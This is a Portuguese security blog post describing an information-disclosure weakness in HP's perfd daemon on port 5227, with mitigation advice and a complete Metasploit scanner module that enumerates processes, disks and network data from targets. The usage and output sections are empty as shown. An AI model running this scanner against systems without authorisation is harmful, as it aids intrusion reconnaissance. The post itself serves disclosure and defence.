Durante um teste de intrusão (Penetration Test) realizado recentemente, encontrei um daemon chamado perfd que escutava na porta 5227. De acordo com a IANA[1], o daemon é o serviço "HP Performance System Metric Service"[2].
Após uma rápida análise, descobri que o daemon responde com dados vitais e podemos visualizar informações como CPU, discos, processos etc.
Comandos:
- u - discos compartilhados
- i - espaço do disco
- p - lista dos processos
- a - informações sobre CPU
- g - status do servidor
- l - interfaces de rede (estatísticas de entrada/saída)
- T - escopo de transações
- A - outras informações
- q e Q - sai do prompt
O vazamento de informações confidenciais através do acesso à funcionalidade do aplicativo é, geralmente, devido a problemas na concepção do projeto. Embora aparentemente inócua, esta informação pode fornecer pistas sobre a aplicação e os sistemas que o suportam, muitas vezes revelando detalhes sobre o funcionamento interno do sistema.
Idealmente, você deve configurar o aplicativo para ser acessível somente por administradores de sistema e/ou pessoal de suporte.
Para automatizar, escrevi um módulo para o Metasploit[3], acelerando os comandos a serem executados no alvo.
Uso[4]:
Nota: alterar o endereço IP (RHOSTS) para o correto.
Saída:
Visualizando o arquivo salvo, você vai encontrar um resultado semelhante a este abaixo (neste caso, os processos):
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# TODO: figure out what these do:
# o: valid command, takes no args, does nothing
# B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args
ALLOWED_COMMANDS = %w(a A i g l p t T u w Z)
def initialize
super(
'Name' => 'HP Operations Manager Perfd Environment Scanner',
'Description' => %q{
This module will enumerate the environment
HP Operation Manager via daemon perfd.
},
'Author' => [ 'Roberto Soares Espreto ' ],
'License' => MSF_LICENSE
)
commands_help = ALLOWED_COMMANDS.join(',')
register_options(
[
Opt::RPORT(5227),
OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help])
], self.class)
end
def commands
datastore['COMMANDS'].split(/[, ]+/).map(&:strip)
end
def setup
super
if datastore['COMMANDS']
bad_commands = commands - ALLOWED_COMMANDS
unless bad_commands.empty?
fail ArgumentError, "Bad perfd command(s): #{bad_commands}"
end
end
end
def run_host(target_host)
begin
connect
banner_resp = sock.get_once
if banner_resp && banner_resp =~ /^Welcome to the perfd server/
banner_resp.strip!
print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}")
perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp)
sock.puts("\n")
commands.each do |command|
sock.puts("#{command}\n")
Rex.sleep(1)
command_resp = sock.get_once
loot_name = "HP Ops Agent perfd #{command}"
path = store_loot(
"hp.ops.agent.perfd.#{command}",
'text/plain',
target_host,
command_resp,
nil,
"HP Ops Agent perfd #{command}",
perfd_service
)
print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}")
end
else
print_error("#{target_host}:#{rport}, Perfd server banner detection failed!")
end
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue Timeout::Error => e
print_error(e.message)
end
end
end
Referências
Previamente postado pelo mesmo autor, em: